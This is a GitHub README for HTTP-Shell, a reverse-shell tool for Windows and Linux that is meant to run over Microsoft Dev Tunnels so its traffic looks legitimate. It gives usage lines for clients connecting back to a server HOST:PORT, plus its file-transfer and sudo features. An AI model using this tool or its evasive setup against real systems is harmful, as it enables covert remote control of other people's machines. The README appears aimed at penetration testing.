JoelGMSec/HTTP-Shell

github.com/JoelGMSec/HTTP-Shell

JoelGMSec



HTTP-Shell



HTTP-Shell is Multiplatform Reverse Shell. This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a legitimate one.

This shell is not fully interactive, but displays any errors on screen (both Windows and Linux), is capable of uploading and downloading files, has command history, terminal cleanup (even with CTRL+L), automatic reconnection, movement between directories and supports sudo (or sudo su) on Linux-based OS.

Requirements



- Python 3 for Server
- Install requirements.txt
- · Bash for Linux Client

PowerShell 2.0 or greater for Windows Client

Download



It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/HTTP-Shell

Usage



Server



[!] Usage: HTTP-Server.py [PORT]

Linux CLI

[!] Usage: ./HTTP-Client.sh -c [HOST:PORT] -s [SLEEP] (optional)

Windows CLI

[!] Usage: .\HTTP-Client.ps1 -c [HOST:PORT] -s [SLEEP] (optional)

The detailed guide of use can be found at the following link:



https://darkbyte.net/obteniendo-shells-con-microsoft-dev-tunnels

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Credits and Acknowledgments



Original idea and some code by Héctor de Armas Padrón (@3v4si0n)

This tool has been created and designed from scratch by Joel Gámez Molina (@JoelGMSec).

Contact



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For more information, you can find me on Twitter as <u>@JoelGMSec</u> and on my blog <u>darkbyte.net</u>.

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